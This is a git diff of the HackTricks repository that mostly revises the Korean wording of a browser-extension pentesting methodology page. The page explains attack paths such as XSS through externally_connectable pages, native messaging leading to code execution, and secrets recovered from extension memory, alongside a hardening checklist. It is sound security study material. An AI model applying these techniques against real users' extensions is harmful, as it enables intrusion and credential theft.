diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md index 0d0033b01..6c3408d0d 100644 --- a/.github/pull_request_template.md +++ b/.github/pull_request_template.md @@ -1,4 +1,4 @@ ## Attribution -귀하의 지식을 소중히 여기며 콘텐츠 공유를 권장합니다. 귀하가 소유하거나 원저자로부터 공유할 수 있는 권한이 있는 콘텐츠만 업로드하도록 하십시오(추가된 텍스트나 수정 중인 페이지의 끝에 저자에 대한 참조를 추가). 지적 재산권에 대한 귀하의 존중은 모두를 위한 신뢰할 수 있고 합법적인 공유 환경을 조성합니다. +귀하의 지식을 소중히 여기며 콘텐츠 공유를 권장합니다. 귀하가 소유한 콘텐츠 또는 원저자로부터 공유 허가를 받은 콘텐츠만 업로드하도록 하십시오(추가된 텍스트나 수정 중인 페이지의 끝에 저자에 대한 참조를 추가하거나 둘 다). 지적 재산권에 대한 귀하의 존중은 모든 사람을 위한 신뢰할 수 있고 합법적인 공유 환경을 조성합니다. HackTricks에 기여해 주셔서 감사합니다! diff --git a/book.toml b/book.toml index 55f8eeb4f..3d588387c 100644 --- a/book.toml +++ b/book.toml @@ -22,6 +22,7 @@ after = ["links"] [preprocessor.hacktricks] command = "python3 ./hacktricks-preprocessor.py" +env = "prod" [output.html] additional-css = ["theme/pagetoc.css", "theme/tabs.css"] diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py index 37f549101..fedfdef99 100644 --- a/hacktricks-preprocessor.py +++ b/hacktricks-preprocessor.py @@ -30,14 +30,16 @@ def ref(matchobj): href = matchobj.groups(0)[0].strip() title = href if href.startswith("http://") or href.startswith("https://"): - # pass - try: - raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read()) - match = re.search('(.*?)', raw_html) - title = match.group(1) if match else href - except Exception as e: - logger.debug(f'Error opening URL {href}: {e}') - pass #nDont stop on broken link + if context['config']['preprocessor']['hacktricks']['env'] == 'dev': + pass + else: + try: + raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read()) + match = re.search('(.*?)', raw_html) + title = match.group(1) if match else href + except Exception as e: + logger.debug(f'Error opening URL {href}: {e}') + pass #nDont stop on broken link else: try: if href.endswith("/"): @@ -90,7 +92,7 @@ if __name__ == '__main__': context, book = json.load(sys.stdin) logger.debug(f"Context: {context}") - + logger.debug(f"Env: {context['config']['preprocessor']['hacktricks']['env']}") for chapter in iterate_chapters(book['sections']): logger.debug(f"Chapter: {chapter['path']}") diff --git a/src/1911-pentesting-fox.md b/src/1911-pentesting-fox.md index ee9be9ed5..3c7f407c2 100644 --- a/src/1911-pentesting-fox.md +++ b/src/1911-pentesting-fox.md @@ -12,7 +12,7 @@ dht udp "DHT Nodes" ![]() -![]() +![]() InfluxDB diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/README.md b/src/pentesting-web/browser-extension-pentesting-methodology/README.md index bc7cd2a3c..0589f40ef 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/README.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/README.md @@ -27,11 +27,11 @@ ### 경계 > [!CAUTION] -> 사용자의 전체 권한을 얻으려면 공격자는 확장에 콘텐츠 스크립트에서 확장 코어로, 그리고 확장 코어에서 네이티브 바이너리로 악의적인 입력을 전달하도록 설득해야 합니다. +> 사용자의 전체 권한을 얻으려면 공격자는 확장에게 콘텐츠 스크립트에서 확장 코어로, 그리고 확장 코어에서 네이티브 바이너리로 악의적인 입력을 전달하도록 설득해야 합니다. 확장의 각 구성 요소는 **강력한 보호 경계**로 서로 분리되어 있습니다. 각 구성 요소는 **별도의 운영 체제 프로세스**에서 실행됩니다. 콘텐츠 스크립트와 확장 코어는 대부분의 운영 체제 서비스에서 사용할 수 없는 **샌드박스 프로세스**에서 실행됩니다. -또한, 콘텐츠 스크립트는 **별도의 JavaScript 힙**에서 실행되어 관련 웹 페이지와 분리됩니다. 콘텐츠 스크립트와 웹 페이지는 **같은 기본 DOM에 접근할 수** 있지만, 두 개는 **JavaScript 포인터를 교환하지 않**아 JavaScript 기능의 유출을 방지합니다. +게다가, 콘텐츠 스크립트는 **별도의 JavaScript 힙**에서 실행되어 관련 웹 페이지와 분리됩니다. 콘텐츠 스크립트와 웹 페이지는 **같은 기본 DOM에 접근할 수** 있지만, 두 개는 **JavaScript 포인터를 교환하지 않**아 JavaScript 기능의 유출을 방지합니다. ## **`manifest.json`** @@ -76,7 +76,7 @@ Content scripts는 사용자가 **일치하는 페이지로 이동할 때마다* } ], ``` -더 많은 URL을 포함하거나 제외하려면 **`include_globs`** 및 **`exclude_globs`**를 사용할 수도 있습니다. +더 많은 URL을 포함하거나 제외하려면 **`include_globs`** 및 **`exclude_globs`**를 사용할 수 있습니다. 이것은 페이지에 설명 버튼을 추가하는 예제 콘텐츠 스크립트로, [저장소 API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage)를 사용하여 확장 프로그램의 저장소에서 `message` 값을 검색합니다. ```js @@ -91,11 +91,11 @@ document.body.appendChild(div) ```
-이 버튼이 클릭되면 콘텐츠 스크립트를 통해 확장 페이지로 메시지가 전송됩니다. 이는 [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage)를 활용한 것입니다. 콘텐츠 스크립트는 API에 직접 접근하는 데 제한이 있으며, `storage`가 몇 가지 예외 중 하나입니다. 이러한 예외를 넘어서는 기능을 위해 메시지가 확장 페이지로 전송되며, 콘텐츠 스크립트는 이와 통신할 수 있습니다. +이 버튼이 클릭되면 콘텐츠 스크립트를 통해 확장 페이지로 메시지가 전송됩니다. 이는 콘텐츠 스크립트가 API에 직접 접근하는 데 제한이 있기 때문이며, `storage`가 몇 가지 예외 중 하나입니다. 이러한 예외를 넘어서는 기능을 위해 메시지가 확장 페이지로 전송되며, 콘텐츠 스크립트는 이와 통신할 수 있습니다. > [!WARNING] > 브라우저에 따라 콘텐츠 스크립트의 기능이 약간 다를 수 있습니다. Chromium 기반 브라우저의 경우 기능 목록은 [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities)에서 확인할 수 있으며, Firefox의 경우 [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis)이 주요 출처입니다.\ -> 또한 콘텐츠 스크립트는 백그라운드 스크립트와 통신할 수 있는 능력이 있어, 작업을 수행하고 응답을 전달할 수 있다는 점도 주목할 만합니다. +> 또한 콘텐츠 스크립트는 백그라운드 스크립트와 통신할 수 있는 능력이 있어, 작업을 수행하고 응답을 전달할 수 있습니다. Chrome에서 콘텐츠 스크립트를 보기 및 디버깅하려면 Chrome 개발자 도구 메뉴에 접근할 수 있습니다: 옵션 > 추가 도구 > 개발자 도구 또는 Ctrl + Shift + I를 눌러서 접근할 수 있습니다. @@ -217,7 +217,7 @@ js: ["contentScript.js"], - **자동 생성:** 명시적으로 정의되지 않은 경우, 브라우저는 자동으로 background page를 생성합니다. 이 자동 생성된 페이지는 확장 매니페스트에 지정된 모든 background 스크립트를 포함하여 확장의 백그라운드 작업이 원활하게 작동하도록 보장합니다. > [!TIP] -> 명시적으로 선언되지 않은 경우 브라우저가 background page를 자동으로 생성하는 편리함은 모든 필요한 background 스크립트가 통합되고 작동하도록 보장하여 확장의 설정 프로세스를 간소화합니다. +> 명시적으로 선언되지 않았을 때 브라우저가 background page를 자동으로 생성하는 편리함은 모든 필요한 background 스크립트가 통합되고 작동하도록 보장하여 확장의 설정 프로세스를 간소화합니다. Example background script: ```js @@ -246,7 +246,7 @@ chrome.tabs.create({ url: "https://example.net/explanation" }) 이 페이지는 필요에 따라 동적으로 콘텐츠를 로드하므로 백그라운드 페이지처럼 지속적이지 않다는 점에 유의하십시오. 그럼에도 불구하고 이들은 백그라운드 페이지와 특정 기능을 공유합니다: - **콘텐츠 스크립트와의 통신:** 백그라운드 페이지와 유사하게, 이 페이지는 콘텐츠 스크립트로부터 메시지를 수신할 수 있어 확장 내 상호작용을 촉진합니다. -- **확장 전용 API에 대한 접근:** 이 페이지는 확장에 대해 정의된 권한에 따라 확장 전용 API에 대한 포괄적인 접근을 누립니다. +- **확장 전용 API 접근:** 이 페이지는 확장에 대해 정의된 권한에 따라 확장 전용 API에 대한 포괄적인 접근을 누립니다. ### `permissions` & `host_permissions` @@ -254,7 +254,7 @@ chrome.tabs.create({ url: "https://example.net/explanation" }) 브라우저 확장이 매우 **특권적**일 수 있으므로, 악의적인 확장이나 손상된 확장은 공격자가 **민감한 정보를 훔치고 사용자에 대해 스파이할 수 있는 다양한 수단을 허용할 수 있습니다**. -이 설정이 어떻게 작동하는지 및 어떻게 남용될 수 있는지 확인하십시오: +이 설정이 어떻게 작동하는지 및 어떻게 악용될 수 있는지 확인하십시오: {{#ref}} browext-permissions-and-host_permissions.md @@ -262,7 +262,7 @@ browext-permissions-and-host_permissions.md ### `content_security_policy` -**콘텐츠 보안 정책**은 `manifest.json` 내에서도 선언할 수 있습니다. 정의된 것이 있다면, 이는 **취약할 수 있습니다**. +**콘텐츠 보안 정책**은 `manifest.json` 내에서도 선언할 수 있습니다. 정의된 것이 있다면, **취약할 수 있습니다**. 브라우저 확장 페이지의 기본 설정은 다소 제한적입니다: ```bash @@ -314,16 +314,16 @@ browext-clickjacking.md {{#endref}} > [!TIP] -> 이러한 페이지가 확장 프로그램에 의해서만 로드되고 무작위 URL에 의해 로드되지 않도록 허용하면 ClickJacking 공격을 방지할 수 있습니다. +> 이러한 페이지가 확장 프로그램에 의해서만 로드되고 무작위 URL에 의해 로드되지 않도록 하면 ClickJacking 공격을 방지할 수 있습니다. > [!CAUTION] > **`web_accessible_resources`**의 페이지와 확장 프로그램의 다른 페이지도 **백그라운드 스크립트와 연락할 수 있습니다**. 따라서 이러한 페이지 중 하나가 **XSS**에 취약하다면 더 큰 취약점을 열 수 있습니다. > -> 또한, **`web_accessible_resources`**에 표시된 페이지는 iframe 내에서만 열 수 있지만, 새 탭에서 확장 프로그램 ID를 알고 있으면 확장 프로그램의 모든 페이지에 접근할 수 있습니다. 따라서 동일한 매개변수를 악용하는 XSS가 발견되면, 페이지가 **`web_accessible_resources`**에 구성되어 있지 않더라도 악용될 수 있습니다. +> 또한, **`web_accessible_resources`**에 표시된 페이지는 iframe 내에서만 열 수 있지만, 새 탭에서 확장 ID를 알고 있으면 확장 프로그램의 모든 페이지에 접근할 수 있습니다. 따라서 동일한 매개변수를 악용하는 XSS가 발견되면, 페이지가 **`web_accessible_resources`**에 구성되어 있지 않더라도 악용될 수 있습니다. ### `externally_connectable` -[**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable)에 따르면, `"externally_connectable"` 매니페스트 속성은 **어떤 확장 프로그램과 웹 페이지가** [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) 및 [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage)를 통해 귀하의 확장 프로그램에 연결할 수 있는지를 선언합니다. +[**문서**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable)에 따르면, `"externally_connectable"` 매니페스트 속성은 **어떤 확장 프로그램과 웹 페이지가** [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) 및 [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage)를 통해 귀하의 확장 프로그램에 연결할 수 있는지를 선언합니다. - **`externally_connectable`** 키가 귀하의 확장 프로그램의 매니페스트에 **선언되지 않았거나** **`"ids": ["*"]`**로 선언된 경우, **모든 확장 프로그램이 연결할 수 있지만 웹 페이지는 연결할 수 없습니다**. - **특정 ID가 지정된 경우**, 예를 들어 `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`와 같이, **오직 해당 애플리케이션만** 연결할 수 있습니다. @@ -335,24 +335,24 @@ browext-clickjacking.md ``` - 비어 있는 것으로 지정된 경우: **`"externally_connectable": {}`**, 어떤 앱이나 웹도 연결할 수 없습니다. -여기에서 **확장 프로그램과 URL**이 적을수록, **공격 표면**이 더 작아집니다. +여기에서 **확장 프로그램과 URL**이 적을수록 **공격 표면**이 작아집니다. > [!CAUTION] -> 만약 **`externally_connectable`**에 **XSS 또는 탈취에 취약한** 웹 페이지가 표시되면, 공격자는 **배경 스크립트에 직접 메시지를 보낼 수** 있어, Content Script와 그 CSP를 완전히 우회할 수 있습니다. +> 만약 웹 페이지가 **XSS 또는 탈취에 취약**하다고 **`externally_connectable`**에 표시되면, 공격자는 **배경 스크립트에 직접 메시지를 보낼 수** 있어, Content Script와 그 CSP를 완전히 우회할 수 있습니다. > > 따라서, 이는 **매우 강력한 우회**입니다. > -> 게다가, 클라이언트가 악성 확장 프로그램을 설치하면, 취약한 확장 프로그램과 통신할 수 없더라도, **허용된 웹 페이지에 XSS 데이터를 주입**하거나 **`WebRequest`** 또는 **`DeclarativeNetRequest`** API를 악용하여 특정 도메인에서 요청을 조작하고 **JavaScript 파일**에 대한 페이지 요청을 변경할 수 있습니다. (대상 페이지의 CSP가 이러한 공격을 방지할 수 있습니다). 이 아이디어는 [**이 글**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability)에서 나왔습니다. +> 게다가, 클라이언트가 악성 확장 프로그램을 설치하면, 취약한 확장 프로그램과 통신할 수 없더라도 **허용된 웹 페이지에 XSS 데이터를 주입**하거나 **`WebRequest`** 또는 **`DeclarativeNetRequest`** API를 악용하여 특정 도메인에서 요청을 조작하고 **JavaScript 파일**에 대한 페이지 요청을 변경할 수 있습니다. (대상 페이지의 CSP가 이러한 공격을 방지할 수 있습니다). 이 아이디어는 [**이 글**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability)에서 나왔습니다. ## 통신 요약 ### 확장 프로그램 <--> 웹앱 -콘텐츠 스크립트와 웹 페이지 간의 통신을 위해 일반적으로 포스트 메시지가 사용됩니다. 따라서 웹 애플리케이션에서는 일반적으로 **`window.postMessage`** 함수 호출을 찾을 수 있으며, 콘텐츠 스크립트에서는 **`window.addEventListener`**와 같은 리스너를 찾을 수 있습니다. 그러나 확장 프로그램이 **Post Message를 보내 웹 애플리케이션과 통신**할 수도 있으므로 웹은 이를 예상해야 하며, 단순히 웹이 새로운 스크립트를 로드하게 할 수도 있습니다. +콘텐츠 스크립트와 웹 페이지 간의 통신을 위해 일반적으로 포스트 메시지가 사용됩니다. 따라서 웹 애플리케이션에서는 보통 **`window.postMessage`** 함수 호출을 찾을 수 있으며, 콘텐츠 스크립트에서는 **`window.addEventListener`**와 같은 리스너를 찾을 수 있습니다. 그러나 확장 프로그램이 **Post Message를 보내 웹 애플리케이션과 통신**할 수도 있으므로 웹은 이를 예상해야 하며, 단순히 웹이 새로운 스크립트를 로드하도록 할 수도 있습니다. ### 확장 프로그램 내부 -일반적으로 **`chrome.runtime.sendMessage`** 함수가 확장 프로그램 내에서 메시지를 보내는 데 사용되며(일반적으로 `background` 스크립트에서 처리됨), 이를 수신하고 처리하기 위해 **`chrome.runtime.onMessage.addListener`**를 호출하는 리스너가 선언됩니다. +일반적으로 **`chrome.runtime.sendMessage`** 함수가 확장 프로그램 내에서 메시지를 보내는 데 사용되며(보통 `background` 스크립트에서 처리됨), 이를 수신하고 처리하기 위해 **`chrome.runtime.onMessage.addListener`**를 호출하는 리스너가 선언됩니다. 단일 메시지를 보내는 대신 지속적인 연결을 위해 **`chrome.runtime.connect()`**를 사용할 수도 있으며, 다음 예제와 같이 **메시지를 보내고** **받는** 데 사용할 수 있습니다: @@ -476,7 +476,7 @@ browext-xss-example.md 이것은 "정확히" 통신 방법은 아니지만, **웹과 콘텐츠 스크립트는 웹 DOM에 접근할 수 있습니다**. 따라서 **콘텐츠 스크립트**가 그로부터 정보를 읽고 **웹 DOM을 신뢰하는 경우**, 웹은 이 데이터를 **수정할 수 있습니다** (웹을 신뢰해서는 안 되거나, 웹이 XSS에 취약하기 때문에) 그리고 **콘텐츠 스크립트를 손상시킬 수 있습니다**. -**브라우저 확장을 손상시키기 위한 DOM 기반 XSS의 예시**를 다음에서 찾을 수 있습니다: +**브라우저 확장을 손상시키기 위한 DOM 기반 XSS의 예시**도 다음에서 찾을 수 있습니다: {{#ref}} browext-xss-example.md @@ -486,7 +486,7 @@ browext-xss-example.md 콘텐츠 스크립트는 [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **또는** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) 함수를 사용하여 **일회성 JSON 직렬화 가능** 메시지를 보낼 수 있습니다. -**응답**을 처리하려면 반환된 **Promise**를 사용하십시오. 그러나 이전 호환성을 위해 마지막 인수로 **콜백**을 여전히 전달할 수 있습니다. +**응답**을 처리하려면 반환된 **Promise**를 사용하십시오. 그러나 하위 호환성을 위해 마지막 인수로 **콜백**을 여전히 전달할 수 있습니다. **콘텐츠 스크립트**에서 요청을 보내는 모습은 다음과 같습니다: ```javascript @@ -525,11 +525,11 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" }) 중요한 고려 사항은 여러 페이지가 `onMessage` 이벤트를 수신하도록 설정된 시나리오에서, **특정 이벤트에 대해 `sendResponse()`를 실행하는 첫 번째 페이지**만이 응답을 효과적으로 전달할 수 있다는 것입니다. 동일한 이벤트에 대한 후속 응답은 고려되지 않습니다. -새로운 확장을 만들 때는 콜백보다 프로미스를 선호해야 합니다. 콜백 사용과 관련하여, `sendResponse()` 함수는 동기 컨텍스트 내에서 직접 실행되거나 이벤트 핸들러가 `true`를 반환하여 비동기 작업을 나타내는 경우에만 유효하다고 간주됩니다. 핸들러 중 어느 것도 `true`를 반환하지 않거나 `sendResponse()` 함수가 메모리에서 제거(가비지 컬렉션)되면, `sendMessage()` 함수와 연결된 콜백이 기본적으로 트리거됩니다. +새로운 확장을 만들 때는 콜백보다 프로미스를 선호해야 합니다. 콜백 사용과 관련하여, `sendResponse()` 함수는 동기 컨텍스트 내에서 직접 실행되거나 이벤트 핸들러가 `true`를 반환하여 비동기 작업을 나타내는 경우에만 유효하다고 간주됩니다. 만약 어떤 핸들러도 `true`를 반환하지 않거나 `sendResponse()` 함수가 메모리에서 제거(가비지 컬렉션)되면, `sendMessage()` 함수와 관련된 콜백이 기본적으로 트리거됩니다. ## Native Messaging -브라우저 확장은 **stdin을 통해 시스템의 바이너리와 통신할 수** 있습니다. 애플리케이션은 이를 나타내는 json을 설치해야 합니다. +브라우저 확장은 **stdin을 통해 시스템의 바이너리와 통신할 수** 있습니다. 애플리케이션은 이를 나타내는 json을 설치해야 합니다: ```json { "name": "com.my_company.my_application", @@ -544,7 +544,7 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" }) Chrome/Chromium은 이 json을 일부 Windows 레지스트리와 macOS 및 Linux의 일부 경로에서 검색합니다(자세한 정보는 [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)에서 확인할 수 있습니다). > [!TIP] -> 브라우저 확장은 이 통신을 사용하기 위해 `nativeMessaing` 권한이 선언되어야 합니다. +> 브라우저 확장은 이 통신을 사용하기 위해 `nativeMessaing` 권한을 선언해야 합니다. 다음은 네이티브 애플리케이션에 메시지를 보내는 일부 백그라운드 스크립트 코드의 모습입니다: ```javascript @@ -563,7 +563,7 @@ console.log("Received " + response) 3. 백그라운드 스크립트는 `sendNativeMessage`를 사용하여 네이티브 애플리케이션에 메시지를 전달합니다. 4. 네이티브 애플리케이션은 메시지를 위험하게 처리하여 코드 실행으로 이어집니다. -그리고 그 안에서 **브라우저 확장을 악용하여 어떤 페이지에서든 RCE로 가는 방법에 대한 예제가 설명됩니다**. +그리고 그 안에서 **브라우저 확장을 악용하여 어떤 페이지에서든 RCE로 가는 예제가 설명됩니다**. ## 메모리/코드/클립보드의 민감한 정보 @@ -571,15 +571,15 @@ console.log("Received " + response) 따라서 브라우저 확장 프로그램의 메모리는 **안전하다고 간주되어서는 안 되며**, 자격 증명이나 니모닉 구문과 같은 **민감한 정보는 저장되어서는 안 됩니다**. -물론, **코드에 민감한 정보를 넣지 마십시오**, 왜냐하면 그것은 **공개**될 것이기 때문입니다. +물론, **코드에 민감한 정보를 넣지 마십시오**, 왜냐하면 이는 **공개**될 것이기 때문입니다. 브라우저에서 메모리를 덤프하려면 **프로세스 메모리를 덤프**하거나 브라우저 확장의 **설정**으로 가서 **`Inspect pop-up`**을 클릭한 후 **`Memory`** 섹션에서 **`Take a snapshot`**을 클릭하고 **`CTRL+F`**를 사용하여 스냅샷 내에서 민감한 정보를 검색할 수 있습니다. -게다가, 니모닉 키나 비밀번호와 같은 매우 민감한 정보는 **클립보드에 복사되는 것을 허용해서는 안 됩니다**(또는 최소한 몇 초 후에 클립보드에서 제거해야 합니다) 왜냐하면 그러면 클립보드를 모니터링하는 프로세스가 이를 얻을 수 있기 때문입니다. +또한, 니모닉 키나 비밀번호와 같은 매우 민감한 정보는 **클립보드에 복사되는 것을 허용해서는 안 됩니다**(또는 최소한 몇 초 후에 클립보드에서 제거해야 합니다) 왜냐하면 그러면 클립보드를 모니터링하는 프로세스가 이를 얻을 수 있기 때문입니다. ## 브라우저에 확장 프로그램 로드하기 -1. **브라우저 확장 프로그램을 다운로드**하고 압축을 풉니다. +1. 브라우저 확장 프로그램을 **다운로드**하고 압축을 풉니다. 2. **`chrome://extensions/`**로 가서 `개발자 모드`를 **활성화**합니다. 3. **`Load unpacked`** 버튼을 클릭합니다. @@ -587,7 +587,7 @@ console.log("Received " + response) ## 스토어에서 소스 코드 가져오기 -Chrome 확장의 소스 코드는 다양한 방법을 통해 얻을 수 있습니다. 아래는 각 옵션에 대한 자세한 설명과 지침입니다. +Chrome 확장의 소스 코드는 다양한 방법으로 얻을 수 있습니다. 아래는 각 옵션에 대한 자세한 설명과 지침입니다. ### 명령줄을 통해 ZIP으로 확장 프로그램 다운로드 @@ -621,7 +621,7 @@ unzip -d "$extension_id-source" "$extension_id.zip" - `about:extensions` 페이지에서 개발자 모드를 활성화하여 각 확장 프로그램의 ID를 확인합니다. - 각 확장 프로그램의 폴더 내에서 `manifest.json` 파일에는 읽기 가능한 `name` 필드가 포함되어 있어 확장 프로그램을 식별하는 데 도움이 됩니다. -### 파일 압축 해제기 또는 언패커 사용 +### 파일 압축 해제기 또는 언팩커 사용 Chrome 웹 스토어에 가서 확장 프로그램을 다운로드합니다. 파일은 `.crx` 확장자를 가집니다. 파일 확장자를 `.crx`에서 `.zip`으로 변경합니다. WinRAR, 7-Zip 등과 같은 파일 압축 해제기를 사용하여 ZIP 파일의 내용을 추출합니다. @@ -644,17 +644,17 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt - [ ] **`host_permissions`**를 가능한 한 많이 **제한**합니다. - [ ] **강력한** **`content_security_policy`**를 사용합니다. - [ ] 필요하지 않다면 **`externally_connectable`**를 가능한 한 많이 **제한**하고, 기본값으로 두지 말고 **`{}`**로 지정합니다. -- [ ] 여기에서 **XSS 또는 인수**에 취약한 **URL**이 언급되면, 공격자는 **백그라운드 스크립트에 직접 메시지를 보낼 수 있습니다**. 매우 강력한 우회입니다. +- [ ] 여기에서 **XSS 또는 인수 취약한 URL**이 언급되면, 공격자는 **백그라운드 스크립트에 직접 메시지를 보낼 수 있습니다**. 매우 강력한 우회입니다. - [ ] **`web_accessible_resources`**를 가능한 한 많이 **제한**합니다. 가능하다면 비워두세요. - [ ] **`web_accessible_resources`**가 없지 않다면, [**ClickJacking**](browext-clickjacking.md)을 확인합니다. -- [ ] **확장 프로그램**에서 **웹 페이지**로 **통신**이 발생하면, **통신에서 발생한 XSS** [**취약점**](browext-xss-example.md)을 **확인합니다**. +- [ ] **확장 프로그램**에서 **웹 페이지**로 **통신**이 발생하면, **통신에서 발생한 XSS** [**취약점**](browext-xss-example.md)을 확인합니다. - [ ] Post Messages가 사용된다면, [**Post Message 취약점**](../postmessage-vulnerabilities/)**을 확인합니다.** - [ ] **Content Script가 DOM 세부정보에 접근**하는 경우, 웹에 의해 **수정**될 때 **XSS를 도입하지 않는지** 확인합니다. -- [ ] 이 통신이 **Content Script -> Background script communication**에 관련되어 있다면 특별히 강조합니다. -- [ ] 백그라운드 스크립트가 **native messaging**을 통해 통신하는 경우, 통신이 안전하고 정제되었는지 확인합니다. +- [ ] 이 통신이 **Content Script -> Background script 통신**에 관련되어 있다면 특별히 강조합니다. +- [ ] 백그라운드 스크립트가 **네이티브 메시징**을 통해 통신하는 경우, 통신이 안전하고 정제되었는지 확인합니다. - [ ] **민감한 정보는** 브라우저 확장 프로그램 **코드** 내에 저장되어서는 안 됩니다. - [ ] **민감한 정보는** 브라우저 확장 프로그램 **메모리** 내에 저장되어서는 안 됩니다. -- [ ] **민감한 정보는** **파일 시스템에 보호되지 않은 상태로 저장되어서는 안 됩니다.** +- [ ] **민감한 정보는** **파일 시스템에 보호되지 않고 저장되어서는 안 됩니다.** ## 브라우저 확장 프로그램 위험 @@ -666,30 +666,30 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt - 제공된 Chrome 웹스토어 링크에서 Chrome 확장을 가져옵니다. - [**manifest.json**](https://developer.chrome.com/extensions/manifest) **뷰어**: 확장의 매니페스트의 JSON 예쁘게 정리된 버전을 간단히 표시합니다. -- **지문 분석**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources)의 감지 및 Chrome 확장 지문 생성 JavaScript의 자동 생성. -- **잠재적 Clickjacking 분석**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) 지시어가 설정된 확장 HTML 페이지의 감지. 이러한 페이지의 목적에 따라 Clickjacking에 취약할 수 있습니다. +- **지문 분석**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) 감지 및 Chrome 확장 지문 생성 JavaScript 자동 생성. +- **잠재적 Clickjacking 분석**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) 지시어가 설정된 확장 HTML 페이지 감지. 이러한 페이지의 목적에 따라 Clickjacking에 취약할 수 있습니다. - **권한 경고 뷰어**: 사용자가 확장을 설치하려고 할 때 표시될 모든 Chrome 권한 프롬프트 경고 목록을 보여줍니다. -- **위험한 함수**: 공격자가 잠재적으로 악용할 수 있는 위험한 함수의 위치를 보여줍니다(예: innerHTML, chrome.tabs.executeScript와 같은 함수). +- **위험한 함수**: 공격자가 잠재적으로 악용할 수 있는 위험한 함수의 위치를 보여줍니다 (예: innerHTML, chrome.tabs.executeScript와 같은 함수). - **진입점**: 확장이 사용자/외부 입력을 받는 위치를 보여줍니다. 이는 확장의 표면적을 이해하고 악의적으로 조작된 데이터를 확장으로 보낼 수 있는 잠재적 지점을 찾는 데 유용합니다. - 위험한 함수 및 진입점 스캐너는 생성된 경고에 대해 다음을 포함합니다: -- 경고를 유발한 관련 코드 스니펫 및 줄. -- 문제에 대한 설명. -- 코드를 포함하는 전체 소스 파일을 보기 위한 “파일 보기” 버튼. -- 경고된 파일의 경로. -- 경고된 파일의 전체 Chrome 확장 URI. -- 파일의 유형(예: Background Page 스크립트, Content Script, Browser Action 등). -- 취약한 줄이 JavaScript 파일에 있는 경우, 포함된 모든 페이지의 경로와 이 페이지의 유형 및 [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) 상태. -- **Content Security Policy (CSP) 분석기 및 우회 검사기**: 확장의 CSP의 약점을 지적하고 화이트리스트된 CDN 등으로 인해 CSP를 우회할 수 있는 잠재적인 방법을 밝혀냅니다. + - 경고를 유발한 관련 코드 스니펫 및 줄. + - 문제 설명. + - 코드를 포함하는 전체 소스 파일을 보기 위한 "파일 보기" 버튼. + - 경고된 파일의 경로. + - 경고된 파일의 전체 Chrome 확장 URI. + - 파일 유형 (예: 백그라운드 페이지 스크립트, 콘텐츠 스크립트, 브라우저 액션 등). + - 취약한 줄이 JavaScript 파일에 있는 경우, 포함된 모든 페이지의 경로와 이 페이지의 유형 및 [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) 상태. +- **콘텐츠 보안 정책 (CSP) 분석기 및 우회 검사기**: 확장의 CSP의 약점을 지적하고 화이트리스트된 CDN 등으로 인해 CSP를 우회할 수 있는 잠재적 방법을 밝힙니다. - **알려진 취약한 라이브러리**: [Retire.js](https://retirejs.github.io/retire.js/)를 사용하여 알려진 취약한 JavaScript 라이브러리의 사용 여부를 확인합니다. -- 확장 프로그램 및 형식화된 버전 다운로드. -- 원본 확장 프로그램 다운로드. -- 확장의 아름답게 정리된 버전 다운로드(자동으로 예쁘게 정리된 HTML 및 JavaScript). +- 확장 및 형식화된 버전 다운로드. +- 원본 확장 다운로드. +- 확장의 아름답게 정리된 버전 다운로드 (자동으로 예쁘게 정리된 HTML 및 JavaScript). - 스캔 결과의 자동 캐싱, 확장 스캔을 처음 실행할 때는 상당한 시간이 소요됩니다. 그러나 두 번째 실행 시 확장이 업데이트되지 않았다면 결과가 캐시되어 거의 즉시 완료됩니다. - 링크 가능한 보고서 URL, 다른 사람에게 tarnish에서 생성된 확장 보고서에 쉽게 링크할 수 있습니다. ### [Neto](https://github.com/elevenpaths/neto) -Neto 프로젝트는 Firefox 및 Chrome과 같은 잘 알려진 브라우저의 브라우저 플러그인 및 확장의 숨겨진 기능을 분석하고 풀어내기 위해 고안된 Python 3 패키지입니다. `manifest.json`, 지역화 폴더 또는 JavaScript 및 HTML 소스 파일과 같은 관련 리소스에서 이러한 기능을 추출하기 위해 패키지 파일을 압축 해제하는 프로세스를 자동화합니다. 